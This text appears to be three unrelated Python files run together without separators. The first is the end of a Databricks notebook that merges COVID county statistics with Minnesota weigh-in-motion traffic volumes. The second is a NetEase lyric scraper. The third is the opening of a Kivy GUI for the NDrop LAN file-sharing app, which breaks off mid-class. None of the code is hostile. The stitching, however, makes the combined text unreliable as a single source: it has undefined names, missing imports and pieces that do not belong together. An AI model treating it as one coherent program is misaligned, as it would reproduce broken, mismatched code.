for year in counties:
    tmp = counties[year]
    tmp = tmp.filter(col("state") != "Puerto Rico")
    #verify no more Null death counts
    tmp.select(count(when(col("deaths").isNull(), "deaths")).alias("nullDeathCount")).show()
    tmp = tmp.filter(col("county") != "Unknown")

    counties[year] = tmp

# COMMAND ----------

mn_counties = spark.createDataFrame(spark.sparkContext.emptyRDD(),schema=counties_covid_schema)

for year in counties:
    mn_counties = mn_counties.unionByName(counties[year].filter(col("state") == "Minnesota"))
mn_counties.orderBy("county","date").limit(10).show()

# COMMAND ----------

# replace St. Louis with Saint Louis
mn_counties = mn_counties.withColumn('county', regexp_replace('county', 'St. Louis', 'Saint Louis'))

# COMMAND ----------

def fix_spelling(str):
    corrections = {'Aikin':'Aitkin',
                   'Carlson':'Carlton',
                  'Penningham':'Pennington',
                  'St Louis':'Saint Louis',
                  'St. Louis':'Saint Louis'
                  }
    if str.startswith('Olmsted'):
        return 'Olmsted'
    if str in corrections:
        return corrections[str]
    else:
        return str

def remap_district(str):
    corrections = {'Cass':'3',
                   'Koochiching':'1',
                   'Itasca':'1'}
    if str in corrections:
        return corrections[str]
    else:
        return '0'

fix_spellingUDF = udf(lambda s: fix_spelling(s),StringType())
remap_districtUDF = udf(lambda s: remap_district(s),StringType())

county_district = county_district.withColumn("county", fix_spellingUDF(col("county"))) \
                                 .withColumn("MnDOT district(s)", when(remap_districtUDF(col("county")) != "0", remap_districtUDF(col("county"))) \
                                                                    .otherwise(col("MnDOT district(s)")))
county_district.display()

# COMMAND ----------

# reformat dates for wim_volume in 2021 and 2022
windowSpec = Window.partitionBy("station_id","dir_of_travel","lane_of_travel").orderBy("new_date")
test = {}
for year in [2021,2022]:
    tmp = wim_volume[year]
    tmp = tmp.orderBy("date") \
        .withColumn("date", to_date(col("date"),"M/d/yyyy"))
    wim_volume[year] = tmp

# COMMAND ----------

# MAGIC %md
# MAGIC ### Aggregation
# MAGIC Now that data has been prepped, it needs to be aggregated so that there are singular datasets for WIM volumes by date, county, and district. The steps to do that are:
# MAGIC 1. Combine all years of WIM volume into a single DataFrame
# MAGIC 2. Combine all lanes and directions for each station and date so there is one row per station per date
# MAGIC 3. Sum across all hours of each day for each station and date
# MAGIC
# MAGIC ### Joining
# MAGIC 1. Join current and retired stations and apply fix_spelling function to make joining with county_district frame possible
# MAGIC 2. Join each station / date row to the appropriate county in the joined station frame
# MAGIC 3. Join each station / date / county row to the appropriate district in the county_distric frame

# COMMAND ----------

# combine all years of WIM volume
all_wim = spark.createDataFrame(spark.sparkContext.emptyRDD(),schema=wim_volume_schema)

for year in wim_volume:
    all_wim = all_wim.unionByName(wim_volume[year])

# COMMAND ----------

all_wim.limit(10).show()

# COMMAND ----------

# Aggregate by station
exprs = {str(i): "sum" for i in range(1,25)}
all_wim = all_wim.groupBy("station_id","date").agg(exprs)
all_wim.filter(col("station_id") == 51).limit(10).show()

# COMMAND ----------

# Aggregate days
aggregated_wim = all_wim.withColumn("totalVolume", reduce(add, [col("sum("+str(i)+")") for i in range(1,25)])).select("station_id","date","totalVolume")
aggregated_wim.limit(10).show()

# COMMAND ----------

aggregated_wim.filter(col("station_id").isNull()).display()

# COMMAND ----------

# Join current and retired stations only keeping one row for each id
# To keep one row, order by Status on retired stations, which will filter by retired date
# Keep only the retired stations with ids not in use by current stations, and union the two
filtered_retired_stations = retired_stations.orderBy("Status").dropDuplicates(["Continuous Number"]) \
                            .join(retired_stations.select("Continuous Number").subtract(current_stations.select("Continuous Number")),"Continuous Number","leftouter")
all_stations = current_stations.select("Continuous Number",col("County Name").alias("County")) \
                .unionByName(filtered_retired_stations.select("Continuous Number","County")) \
                .withColumn("County", fix_spellingUDF(col("County")))
all_stations.display()

# COMMAND ----------

county_district.display()

# COMMAND ----------

# join station number and county to district
station_county_district = all_stations.join(county_district,all_stations["County"] == county_district["county"],"left").select("Continuous Number",county_district["County"],"MnDOT district(s)")
station_county_district.limit(10).show()

# COMMAND ----------

# MAGIC %md
# MAGIC At this point there are some stations that have volume data that are not listed among the current or retired stations. Some of the stations listed as active also do not show up in any of the traffic volume reports. Unfortunately the missing data is not readily available, so an inner join will be used keeping only rows that have a station id, county, district, date, and volume data.

# COMMAND ----------

# join aggregated WIM to county
wim_joined = station_county_district.join(aggregated_wim,col("Continuous Number") == col("station_id"),"inner")
wim_joined.limit(10).show()

# COMMAND ----------

# confirm there are no null values at this point
wim_joined.select([count(when(col(c).isNull() , c)).alias(c) for c in wim_joined.columns]).show()

# COMMAND ----------

# rename and drop unnecessary column
wim_joined = wim_joined.drop("Continuous Number").withColumnRenamed("MnDOT district(s)","district").withColumnRenamed("County","county")
print(wim_joined.columns)

# COMMAND ----------

print("Total rows of Traffic Volume data:",wim_joined.count())

# COMMAND ----------

# MAGIC %md
# MAGIC #### State Volume Data
# MAGIC A much simpler task is to aggregate the county data per date into a statewide Traffic Volume total.

# COMMAND ----------

state_wim = wim_joined.groupBy("date").agg(colsum(col("totalVolume")).alias("totalVolume")).select("date", "totalVolume")
state_wim.limit(20).show()

# COMMAND ----------

# MAGIC %md
# MAGIC ### MN County COVID Data
# MAGIC Back to the `mn_counties` DataFrame: now that all of the county and district mappings are complete that can be joined and written out to a table.

# COMMAND ----------

mn_counties_districts_covid = mn_counties.join(county_district,mn_counties["county"] == county_district["County"],"left").drop(county_district["county"]).drop("fips").withColumnRenamed("MnDOT district(s)","district")
print("Check Null Counts")
mn_counties_districts_covid.select([count(when(col(c).isNull() , c)).alias(c) for c in mn_counties_districts_covid.columns]).show()

# COMMAND ----------

# MAGIC %md
# MAGIC ## All County COVID Data
# MAGIC Lastly, the COVID case and death totals by county that were cleaned up earlier can be aggregated into average counts by county for each day. There is too much data to look at each county individually, but it may be useful to compare counties in Minnesota to the average of all counties in the US.

# COMMAND ----------

average_county_covid_schema = StructType([StructField("date",StringType(),True),
                                          StructField("cases",FloatType(),True),
                                          StructField("deaths",FloatType(),True)])

average_county_covid = spark.createDataFrame(spark.sparkContext.emptyRDD(),schema=average_county_covid_schema)

for year in counties:
    tmp = counties[year].drop('fips')
    average_county_covid = average_county_covid.unionByName(tmp.groupBy("date").agg(mean(col("cases")).alias("cases"), mean(col("deaths")).alias("deaths")).select("date","cases","deaths"))

average_county_covid.limit(20).show()

# COMMAND ----------

# MAGIC %md
# MAGIC ## Export
# MAGIC At the end of this notebook, the data sources available for modeling are:
# MAGIC * Minnesota Traffic Volume by Date / WIM Station (wim_joined, columns={Date, County, District, StationID, TotalVolume})
# MAGIC * Minnesota Total Traffic Volume by Date (state_wim, columns={Date,TotalVolume})
# MAGIC * Minnesota COVID cases / deaths by county by date (mn_counties_districts_covid, columns={Date, County, State, District, Cases, Deaths})
# MAGIC * Average COVID cases per county by date (average_county_covid, columns={date,cases,deaths})
# MAGIC * Total US cases by date (unmodified us_cases, columns={date,cases,deaths})
# MAGIC * Total cases per state by date (unmodified state_cases, columns={date,state,fips,cases,deaths})
# MAGIC
# MAGIC Each will be written to a parquet table for use in the Modeling notebook.

# COMMAND ----------

# check schemas
print(wim_joined.schema)
print(state_wim.schema)
print(mn_counties_districts_covid.schema)
print(average_county_covid.schema)
print(us_cases.schema)
print(state_cases.schema)

# COMMAND ----------

# MAGIC %sql
# MAGIC drop table if exists county_wim_2017_2022;
# MAGIC drop table if exists state_wim_2017_2022;
# MAGIC drop table if exists mn_county_covid_2020_2022;
# MAGIC drop table if exists average_county_covid_2020_2022;
# MAGIC drop table if exists total_us_covid_2020_2022;
# MAGIC drop table if exists total_state_covid_2020_2022;
# MAGIC drop table if exists mn_covid_timeline;

# COMMAND ----------

dbutils.fs.rm("dbfs:/user/hive/warehouse/", True)
wim_joined.write.format("parquet").saveAsTable("county_wim_2017_2022")
state_wim.write.format("parquet").saveAsTable("state_wim_2017_2022")
mn_counties_districts_covid.write.format("parquet").saveAsTable("mn_county_covid_2020_2022")
average_county_covid.write.format("parquet").saveAsTable("average_county_covid_2020_2022")
us_cases.write.format("parquet").saveAsTable("total_us_covid_2020_2022")
state_cases.write.format("parquet").saveAsTable("total_state_covid_2020_2022")
timeline.write.format("parquet").saveAsTable("mn_covid_timeline")

# COMMAND ----------

# MAGIC %sql
# MAGIC show tables;


import requests
import json
from bs4 import BeautifulSoup
from spider import setting
from utils import pysql
import settings

class Lyric:
    def __init__(self):
        self.headers = setting.headers
        self.lyric_url = setting.lyric_url
        self.session = settings.Session()

    def get_lyric(self, id):
        lyric_url = self.lyric_url.format(id)
        session = requests.Session()
        try:
            soup = BeautifulSoup(session.post(lyric_url, headers=self.headers).text, 'lxml')
            lyric = json.loads(soup.find('p').get_text())['lrc']['lyric']
            if pysql.single("lyric163", "song_id", id):
                self.session.add(pysql.Lyric163(song_id=id, txt=lyric))
                self.session.query(pysql.Music163).filter(pysql.Music163.song_id == id).update({"has_lyric": "Y"})
                self.session.commit()
            print(lyric)
        except Exception as e:
            self.session.query(pysql.Music163).filter(pysql.Music163.song_id == id).update({"has_lyric": "E"})
            self.session.commit()
            print("抓取歌词页面存在问题：{} 歌曲ID：{}".format(e, id))

if __name__ == '__main__':
    lyric = Lyric()
    lyric.get_lyric('106348')


#!/usr/bin/env python3
# -*- encoding:utf-8 -*-

import os.path
import sys
import argparse
import logging
import datetime
import ipaddress
import threading
import queue
import webbrowser
from functools import partial

from . import init_config, save_config, gConfig
from . import about
from . import hfs
from .netdrop import NetDropServer, NetDropClient
from .transport import get_broadcast_address, human_size, \
    get_platform_name, get_platform_system

from .image import NdropImage

from kivy.config import Config
from kivy.resources import resource_add_path, resource_find
from kivy.logger import Logger
from kivy.utils import platform as kivy_platform
from kivymd.font_definitions import fonts as kivymd_fonts
from kivy.core.text import LabelBase as kivymd_LabelBase
# Config.set should be used before importing any other Kivy modules to apply these settings

def init_kivy_config():
    default_font = Config.get('kivy', 'default_font').strip()
    Logger.info(f'Ndrop: Default font: {default_font}')
    cjk_fonts = [
        'NotoSansCJK-Regular.ttc',
        'DroidSansFallbackFull.ttf',
        'msyh.ttc',
    ]
    if kivy_platform == 'android':
        resource_add_path(r'/system/fonts')
    elif kivy_platform == 'win':
        resource_add_path(r'C:\Windows\Fonts')
    elif kivy_platform == 'linux':
        resource_add_path(r'/usr/share/fonts/truetype/droid')
    for cjk_font in cjk_fonts:
        cjk_font_path = resource_find(cjk_font)
        if cjk_font_path:
            break
    if cjk_font_path:
        # Kivy font: ['Roboto', 'data/fonts/Roboto-Regular.ttf', 'data/fonts/Roboto-Italic.ttf', 'data/fonts/Roboto-Bold.ttf', 'data/fonts/Roboto-BoldItalic.ttf']
        # kivy/core/text/__init__.py register(name, fn_regular, fn_italic=None, fn_bold=None, fn_bolditalic=None):
        # for kivy
        fonts = [f.strip("' ") for f in default_font.strip('[]').split(',')]
        fonts[1] = cjk_font_path
        Config.set('kivy', 'default_font', str(fonts))
        Logger.info(f'Ndrop: Fix Font: {fonts}')
        # for kivymd
        kivymd_fonts[0]['fn_regular'] = cjk_font_path
        for font in kivymd_fonts:
            kivymd_LabelBase.register(**font)

init_kivy_config()
from kivymd.app import MDApp
from kivy.clock import Clock
from kivy.core.window import Window
from kivy.uix.behaviors.button import ButtonBehavior
from kivy.uix.popup import Popup
from kivymd.uix.progressbar import MDProgressBar
from kivymd.uix.boxlayout import MDBoxLayout
from kivymd.uix.floatlayout import MDFloatLayout
from kivymd.uix.filemanager import MDFileManager
from kivymd.uix.button import MDIconButton
from kivymd.uix.label import MDLabel
from kivymd.uix.snackbar import Snackbar
from kivy.uix.image import Image
from kivy.graphics import Color, Rectangle
from kivy.core.image import Image as CoreImage
from kivy.graphics.texture import Texture
from kivy.properties import StringProperty, ObjectProperty

logger = logging.getLogger(__name__)

class GUIProgressBar(MDProgressBar):
    def __init__(self, **kwargs):
        super().__init__(**kwargs)
        self.interval = 100
        self.step_count = 0
        self.time_index = 0
        self.speed = ''
        self.count = [0] * (1000 // self.interval)

    def __repr__(self):
        return '<GUIProgressBar>'

    def update_bar(self, *args):
        self.value = self.step_count

    def update(self, step):
        self.step_count += step
        Clock.schedule_once(self.update_bar)

    def write(self, message, file=None):
        logger.debug(message)

    def close(self):
        if not self.speed:
            # transfer complete less than a second
            self.count[self.time_index] = self.step_count
            elapse_time = len([x for x in self.count if x != 0]) * self.interval / 1000
            if elapse_time > 0:
                speed = sum(self.count) / elapse_time
            else:
                speed = 0
            self.speed = f'{human_size(speed):>9}/s'
        self.step_count = 0
        self.update(0)

class GUINetDropServer(NetDropServer):
    def __init__(self, parent, *args):
        self.parent = parent
        super().__init__(*args)

    def init_widget(self, *args):
        pb = self.parent.root.ids.you.progress
        pb.max = self.max_value

    def init_bar(self, max_value):
        pb = self.parent.root.ids.you.progress
        self.max_value = max_value
        Clock.schedule_once(self.init_widget)
        return pb

    def add_node(self, node):
        """add_node
        receive mess from network and notify gui
        """
        super().add_node(node)
        self.parent.on_add_node(node)

    def remove_node(self, node):
        super().remove_node(node)
        self.parent.on_remove_node(node)

    def on_recv_file(self, file, from_addr):
        self.parent.on_recv_file(file, from_addr)

    def recv_finish_text(self, from_addr):
        text = super().recv_finish_text(from_addr)
        self.parent.on_recv_text(text, from_addr)
        return text

    def recv_finish_file(self, path, from_addr):
        super().recv_finish_file(path, from_addr)

    def recv_finish(self, from_addr, err):
        self.parent.root.ids.you.recv_finish(from_addr, err)
        super().recv_finish(from_addr, err)

class GUINetDropClient(NetDropClient):
    def __init__(self, parent, ip, mode, cert=None, key=None):
        self.parent = parent
        super().__init__(ip, mode.lower(), ssl_ck=(cert, key))

    def init_widget(self, *args):
        pb = self.parent.ids.progress
        pb.max = self.max_value

    def init_bar(self, max_value):
        pb = self.parent.ids.progress
        self.max_value = max_value
        Clock.schedule_once(self.init_widget)
        return pb

    def send_finish_file(self, path):
        super().send_finish_file(path)

    def send_finish(self, err):
        self.parent.send_finish(err)
        super().send_finish(err)

class SendWidget(MDBoxLayout):
    dismiss = ObjectProperty(None)

    def __init__(self, ip=None, mode=None, **kwargs):
        super().__init__(**kwargs)
        self.ip = ip
        self.mode = mode
        Clock.schedule_once(self.init_widget)

    def init_widget(self, dt):
        if not self.ip or self.ip == '?':
            self.ids.send_text.disabled = True
            self.ids.send_files.disabled = True
        else:
            self.ids.ip.text = self.ip
            self.ids.ip.disabled = True
        if self.mode == 'Dukto':
            self.ids.dukto.active = True
        elif self.mode == 'NitroShare':
            self.ids.nitroshare.active = True
        else:
            self.ids.dukto.active = True

    def on_open(self):
        if not self.ids.ip.text:
            self.ids.ip.focus = True
        else:
            self.ids.message.focus = True

    def on_input_text(self, widget, id_):
        if id_ == 'ip':
            if widget.text:
                if self.ids.dukto.active:
                    self.ids.send_text.disabled = False
                self.ids.send_files.disabled = False
            else:
                self.ids.send_text.disabled = True
                self.ids.send_files.disabled = True
        elif id_ == 'message':
            pass

    def on_checkbox_active(self, widget, id_):
        if not widget.active:
            return
        if id_ == 'nitroshare':
            self.ids.send_text.disabled = True
            self.ids.message.disabled = True
        if id_ == 'dukto':
            if self.ids.ip.text:
                self.ids.send_text.disabled = False
            self.ids.message.disabled = False

    def on_send_text(self):
        ip = self.ids.ip.text
        if not ip or ip == '?':
            return
        if self.ids.dukto.active:
            mode = 'Dukto'
        elif self.ids.nitroshare.active:
            mode = 'Nitroshare'
        else:
            mode = 'Dukto'
        text = self.ids.message.text
        self.do_send_text(text, ip, mode)
        self.dismiss()

    def on_get_files(self, files):
        self.on_send_files2(files)

    def on_send_files(self):
        FileChooserWidget.ask_files(
            path=gConfig.app['target_dir'],
            rootpath=gConfig.app.get('android_rootpath'),
            selector='multi',
            callback=self.on_get_files,
        )

    def on_send_files2(self, files):
        ip = self.ids.ip.text
        if not ip or ip == '?':
            return
        if self.ids.dukto.active:
            mode = 'Dukto'
        elif self.ids.nitroshare.active:
            mode = 'Nitroshare'
        else:
            mode = 'Dukto'
        self.do_send_files(files, ip, mode)
        self.dismiss()

class ClientWidget(ButtonBehavior, MDBoxLayout):
    progress = None
    popup_sendmessage = None
    node = ObjectProperty(None)
    image_name = StringProperty()

    def __init__(self, node=None, **kwargs):
        super(ClientWidget, self).__init__(**kwargs)
        self.node = node

    def __repr__(self):
        if self.node:
            return '<ClientWidget: %(user)s %(mode)s@%(name)s - %(ip)s>' % self.node
        else:
            return '<ClientWidget: NULL>'

    def on_image_name(self, instance, name):
        app = MDApp.get_running_app()
        background = app.theme_cls.primary_color
        bio = NdropImage.get_os_pngio(name, background=background)
        self.texture = CoreImage(bio, ext='png').texture

    def on_node(self, instance, node):
        # self.node = node
        if node['mode'] == '?':
            self.user = node['user']
        else:
            self.user = node['mode']
        self.name = '@%(name)s' % node
        if node['ip'] == '?':
            self.message = 'ready'
        else:
            self.message = '%(ip)s - ready' % node
        self.image_name = node['operating_system']
        self.progress = self.ids.progress

    def on_recv_file(self, err):
        """开始接收文件
        """
        Clock.schedule_once(partial(self.update_message, err=err))

    def do_send_files(self, files, ip=None, mode=None):
        ip = ip or self.node['ip']
        mode = mode or self.node['mode']
        if not ip or ip == '?':
            err = 'Unknown IP Address'
            Clock.schedule_once(partial(self.update_message, err=err))
            return
        if not mode:
            err = 'Unknown Mode'
            Clock.schedule_once(partial(self.update_message, err=err))
            return
        agent = GUINetDropClient(self, ip, mode)
        threading.Thread(
            name='Ndrop client',
            target=agent.send_files,
            args=(files, ),
        ).start()
        Clock.schedule_once(partial(self.update_message, err='transfer...'))

    def update_message(self, dt, err):
        if self.node['ip'] == '?':
            self.message = str(err)
        else:
            self.message = '%s - %s' % (self.node['ip'], err)

    def send_finish(self, err):
        """被GUINetDropClient调用，通知本次发送任务完成"""
        if err == 'done':
            err = 'ready'
        Clock.schedule_once(partial(self.update_message, err=err))

    def recv_finish(self, from_addr, err):
        """被GUINetDropServer调用，通知本次接收任务完成"""
        if err == 'done':
            err = 'ready'
        Clock.schedule_once(partial(self.update_message, err=err))

    def do_send_text(self, text, ip=None, mode=None):
        ip = ip or self.node['ip']
        mode = mode or self.node['mode']
        if not ip or ip == '?':
            err = 'Unknown IP Address'
            Clock.schedule_once(partial(self.update_message, err=err))
            return
        if not mode:
            err = 'Unknown Mode'
            Clock.schedule_once(partial(self.update_message, err=err))
            return
        agent = GUINetDropClient(self, ip, mode)
        threading.Thread(
            name='Ndrop client',
            target=agent.send_text,
            args=(text, ),
        ).start()

    def on_press(self):
        if self.node['type'] == 'host':
            return
        if not self.popup_sendmessage:
            content = SendWidget(ip=self.node['ip'], mode=self.node['mode'])
            self.popup_sendmessage = Popup(
                title="Send",
                title_color=(0, 0, 0, 1),
                content=content,
                auto_dismiss=False,
                background='',
            )
            self.popup_sendmessage.on_open = content.on_open
            content.dismiss = self.popup_sendmessage.dismiss
            content.do_send_text = self.do_send_text
            content.do_send_files = self.do_send_files
        self.popup_sendmessage.open()

class RootWidget(MDBoxLayout):
    messagebox = None
    popup_hfs = None
    popup_messagebox = None
    popup_config = None

    def __init__(self, **kwargs):
        super(RootWidget, self).__init__(**kwargs)
        self.register_event_type('on_ndrop_event')

    def init_widget(self, *args):
        self.messagebox = MessageWidget()
        app = MDApp.get_running_app()
        self.ids.you.node = app.host_node
        self.ids.ip.node = app.ip_node

    def on_drop_file(self, widget, text, x, y, *args):
        # 当拖拽多个文件，会产生多个事件，每个事件一个文件
        filename = text.decode('utf-8')
        wx, wy = self.ids.scroll_layout.to_widget(*Window.mouse_pos)
        for client in self.ids.scroll_layout.children:
            if client.collide_point(wx, wy):
                client.do_send_files([filename])

    def on_drop_text(self, widget, text, x, y, *args):
        text = text.decode('utf-8')
        wx, wy = self.ids.scroll_layout.to_widget(*Window.mouse_pos)
        for client in self.ids.scroll_layout.children:
            if client.collide_point(wx, wy):
                client.do_send_text(text)

    def add_client(self, dt, node):
        client = ClientWidget(node)
        self.ids.scroll_layout.add_widget(client)
        Logger.info(f'Ndrop: add {client}')

    def remove_client(self, dt, client):
        self.ids.scroll_layout.remove_widget(client)
        Logger.info(f'Ndrop: remove {client}')

    def on_recv_text(self, text):
        Clock.schedule_once(partial(self.recv_text, text=text))

    def recv_text(self, dt, text):
        self.messagebox.append_text(text)
        if not self.popup_messagebox:
            self.popup_messagebox = Popup(
                title="MessageBox",
                title_color=(0, 0, 0, 1),
                content=self.messagebox,
                auto_dismiss=False,
                background='',
            )
            self.messagebox.dismiss = self.popup_messagebox_dismiss
            self.is_messagebox_open = False
        # 被动打开窗口
        if not self.is_messagebox_open:
            self.popup_messagebox.open()
            self.is_messagebox_open = True

    def popup_messagebox_dismiss(self):
        self.popup_messagebox.dismiss()
        self.is_messagebox_open = False

    def on_ndrop_event(self, args):
        layout = self.ids.scroll_layout
        if args['action'] == 'add_node':
            node = args['node']
            for client in layout.children:
                if client.node['ip'] == node['ip'] and \
                        client.node['mode'] == node['mode']:
                    if client.node['type'] == 'text' and node['type'] == 'guest':
                        # destroy text client and create guest client
                        Clock.schedule_once(partial(self.remove_client, client=client))
                    else:
                        # client is exists
                        return True
            Clock.schedule_once(partial(self.add_client, node=node))
            return True
        elif args['action'] == 'remove_node':
            node = args['node']
            for client in layout.children:
                if client.node['type'] == 'guest' and \
                        client.node['ip'] == node['ip'] and \
                        client.node['mode'] == node['mode']:
                    Clock.schedule_once(partial(self.remove_client, client=client))
            return True
        elif args['action'] == 'recv_text':
            text = args['text']
            ip, port = args['from_addr']
            if gConfig.app['create_node_by_text']:
                # add node
                recv_node = {}
                recv_node['user'] = 'Unknown'
                recv_node['name'] = 'Unknown'
                recv_node['operating_system'] = 'ip'
                recv_node['mode'] = 'Dukto'
                recv_node['ip'] = ip
                recv_node['type'] = 'text'
                self.dispatch('on_ndrop_event', {
                    'action': 'add_node',
                    'node': recv_node,
                })
            message = f'{ip}: {text}'
            Logger.debug(f'Ndrop: TEXT: {message}')
            self.on_recv_text(message)
            return True
        elif args['action'] == 'recv_file':
            # file = args['file']
            ip, port = args['from_addr']
            err = f'recv file from {ip}'
            self.ids.you.on_recv_file(err=err)
            return True

    def android_open_folder(self, target_dir):
        from jnius import cast
        from jnius import autoclass
        # for Pygame
        # PythonActivity = autoclass('org.renpy.android.PythonActivity')
        # for SDL2
        PythonActivity = autoclass('org.kivy.android.PythonActivity')
        Intent = autoclass('android.content.Intent')
        Uri = autoclass('android.net.Uri')

        intent = Intent()

        intent = Intent(Intent.ACTION_GET_CONTENT)
        intent.setData(Uri.parse(target_dir))
        intent.setType('*/*')
        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK)

        PICKFILE_RESULT_CODE = 1
        currentActivity = cast('android.app.Activity', PythonActivity.mActivity)
        currentActivity.startActivityForResult(intent, PICKFILE_RESULT_CODE)
        # currentActivity.startActivity(intent)

        # open url
        # intent = Intent(Intent.ACTION_VIEW)
        # intent.setData(Uri.parse('https://192.168.100.10/dict/'))
        # currentActivity = cast('android.app.Activity', PythonActivity.mActivity)
        # currentActivity.startActivity(intent)

        # choose file
        # intent = Intent(Intent.ACTION_GET_CONTENT)
        # intent.setType('*/*')
        # intent.addCategory(Intent.CATEGORY_OPENABLE)
        # intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
        # currentActivity = cast('android.app.Activity', PythonActivity.mActivity)
        # currentActivity.startActivity(intent)

    def open_folder(self):
        if kivy_platform == 'android':
            self.android_open_folder(gConfig.app['target_dir'])
        else:
            file_url = 'file://%s' % gConfig.app['target_dir']
            webbrowser.open(file_url)

    def show_config(self):
        if not self.popup_config:
            content = ConfigWidget()
            self.popup_config = Popup(
                title="Config",
                title_color=(0, 0, 0, 1),
                content=content,
                auto_dismiss=False,
                background='',
            )
            content.dismiss = self.popup_config.dismiss
        self.popup_config.open()

    def show_hfs(self):
        if not self.popup_hfs:
            content = HFSWidget()
            self.popup_hfs = Popup(
                title="HFS - HTTP File Server",
                title_color=(0, 0, 0, 1),
                content=content,
                auto_dismiss=False,
                background='',
            )
            content.dismiss = self.popup_hfs.dismiss
        self.popup_hfs.open()

class CheckLabelBox(MDBoxLayout):
    def on_checkbox_active(self, cb):
        self.active = cb.active

    def on_label_click(self, cb):
        cb.active = not cb.active

# class FileChooserWidget(MDBoxLayout):
class FileChooserWidget(MDFileManager):
    rootpath = None
    callback = None

    # def __init__(self, selector='any', callback=None, **kwargs):
    def __init__(self, callback=None, **kwargs):
        super().__init__(**kwargs)
        self.callback = callback

    def select_path(self, path):
        self.exit_manager()
        if self.callback:
            self.callback(path)

    def exit_manager(self, *args):
        self.close()

    def select_directory_on_press_button(self, *args):
        if self.selector == "multi" and len(self.selection) == 0:
            self.select_path([self.current_path])
        else:
            super().select_directory_on_press_button(*args)

    def events(self, instance, keyboard, keycode, text, modifiers):
        '''Called when buttons are pressed on the mobile device.'''
        if keyboard in (1001, 27):
            if self._window_manager_open:
                self.back()
        return True

    @staticmethod
    def ask_files(path=None, rootpath=None, selector='any', callback=None):
        fc = FileChooserWidget(
            selector=selector,
            callback=callback
        )
        fc.show(path)

class ConfigWidget(MDBoxLayout):
    dismiss = ObjectProperty(None)

    def __init__(self, **kwargs):
        super().__init__(**kwargs)
        Clock.schedule_once(self.init_widget)

    def init_widget(self, *args):
        self.ids.target_dir.text = gConfig.app['target_dir']
        self.ids.create_node_by_text.active = gConfig.app['create_node_by_text']

    def on_get_folder(self, path):
        self.ids.target_dir.text = path

    def on_change_folder(self):
        FileChooserWidget.ask_files(
            path=gConfig.app['target_dir'],
            rootpath=gConfig.app.get('android_rootpath'),
            selector='folder',
            callback=self.on_get_folder,
        )

    def on_ok(self):
        gConfig.app['target_dir'] = self.ids.target_dir.text
        gConfig.app['create_node_by_text'] = self.ids.create_node_by_text.active
        save_config()
        Logger.debug(f'Ndrop: Write config: {gConfig.config_path}')
        app = MDApp.get_running_app()
        app.server.saved_to(gConfig.app['target_dir'])
        self.dismiss()

    def on_cancel(self):
        self.dismiss()

class QueueHandler(logging.Handler):
    def __init__(self, log_queue):
        super().__init__()
        self.log_queue = log_queue

    def emit(self, record):
        self.log_queue.put(record)

class MessageWidget(MDBoxLayout):
    dismiss = ObjectProperty(None)

    def __init__(self, **kwargs):
        super().__init__(**kwargs)

    def append_text(self, text):
        self.ids.log.do_cursor_movement('cursor_end', control=True)
        self.ids.log.readonly = False
        self.ids.log.insert_text(f'{text}\n')
        self.ids.log.readonly = True

    def on_ok(self):
        self.dismiss()

class HFSWidget(MDBoxLayout):
    dismiss = ObjectProperty(None)

    def __init__(self, **kwargs):
        super(HFSWidget, self).__init__(**kwargs)
        self.log_queue = queue.Queue()
        self.queue_handler = QueueHandler(self.log_queue)

        formatter = logging.Formatter('%(message)s')
        self.queue_handler.setFormatter(formatter)

        hfs_logger = logging.getLogger('%s.hfs' % __name__.rpartition('.')[0])
        hfs_logger.addHandler(self.queue_handler)

        self.create_hfs()

    def create_hfs(self):
        Logger.info('HFS: -- HFS server start --')
        listen = '0.0.0.0'
        cert = None
        key = None
        self.hfs_server = hfs.start(listen,
                  root_path=gConfig.app['target_dir'],
                  cert=cert, key=key,
                  daemon=True)
        Clock.schedule_once(self.on_clock_check)

    def append_text(self, text):
        # Logger.info(f'HFS: {text}')
        self.ids.log.do_cursor_movement('cursor_end', control=True)
        self.ids.log.readonly = False
        self.ids.log.insert_text(f'{text}\n')
        self.ids.log.readonly = True

    def on_clock_check(self, dt):
        while True:
            try:
                record = self.log_queue.get(block=False)
            except queue.Empty:
                break
            else:
                text = self.queue_handler.format(record)
                self.append_text(text)
        if self.hfs_server:
            Clock.schedule_once(self.on_clock_check)

    def on_ok(self):
        # 关闭窗口，没有摧毁窗口，后台 HFS 服务仍然运行
        # self.hfs_server.shutdown()
        # self.hfs_server = None
        # Logger.info('HFS: -- HFS server close --')
        self.dismiss()

class GuiApp(MDApp):
    host_node = None
    ip_node = None
    back_counter = 0

    def build(self):
        self.title = 'NDrop'

        self.theme_cls.primary_palette = "Green"

        kv_dir = os.path.dirname(__file__)
        self.image_dir = os.path.join(kv_dir, 'image')

        self.title = '%s v%s' % (about.name.capitalize(), about.version)
        self.icon = os.path.join(self.image_dir, 'ndrop.png')
        self.load_kv(os.path.join(kv_dir, '__main_kivy__.kv'))

        ipaddrs, _ = get_broadcast_address()
        host_node = {}
        host_node['user'] = 'You'
        host_node['name'] = get_platform_name()
        if kivy_platform == 'linux':
            host_node['operating_system'] = kivy_platform
        else:
            host_node['operating_system'] = get_platform_system()
        host_node['mode'] = '?'
        host_node['ip'] = ', '.join(ipaddrs)
        host_node['type'] = 'host'
        self.host_node = host_node

        ip_node = {}
        ip_node['user'] = 'IP connection'
        ip_node['name'] = 'Send data to a remote device.'
        ip_node['operating_system'] = 'Unknown'
        ip_node['mode'] = '?'
        ip_node['ip'] = '?'
        ip_node['type'] = 'ip'
        self.ip_node = ip_node

        self.client_node = []

        self.root = RootWidget()
        self.root.init_widget()
        self.start_ndrop_server()
        Window.bind(on_drop_file=self.root.on_drop_file)
        Window.bind(on_drop_text=self.root.on_drop_text)
        Window.bind(on_keyboard=self.hook_key)
        Clock.schedule_once(self.fix_android_splash)
        return self.root

    def init_config(self):
        if kivy_platform == 'android':
            self.ask_storage_permission(callback=self.check_target_dir)
            try:
                from android.storage import app_storage_path, primary_external_storage_path, secondary_external_storage_path
                Logger.debug(f'Ndrop: app_storage_path: {app_storage_path()}')
                Logger.debug(f'Ndrop: primary_external_storage_path: {primary_external_storage_path()}')
                Logger.debug(f'Ndrop: secondary_external_storage_path: {secondary_external_storage_path()}')
                cfg_path = os.path.join(app_storage_path(), 'ndrop.ini')
                target_dir = os.path.join(primary_external_storage_path(), 'Download')
                init_config(cfg_path, target_dir)
                gConfig.app['android_rootpath'] = primary_external_storage_path()
                Window.minimum_width, Window.minimum_height = 320, 360
                Window.fullscreen = 'auto'
            except ImportError:
                Logger.warn('Kivy: not found "android" packge')
        else:
            init_config()
            Window.fullscreen = False
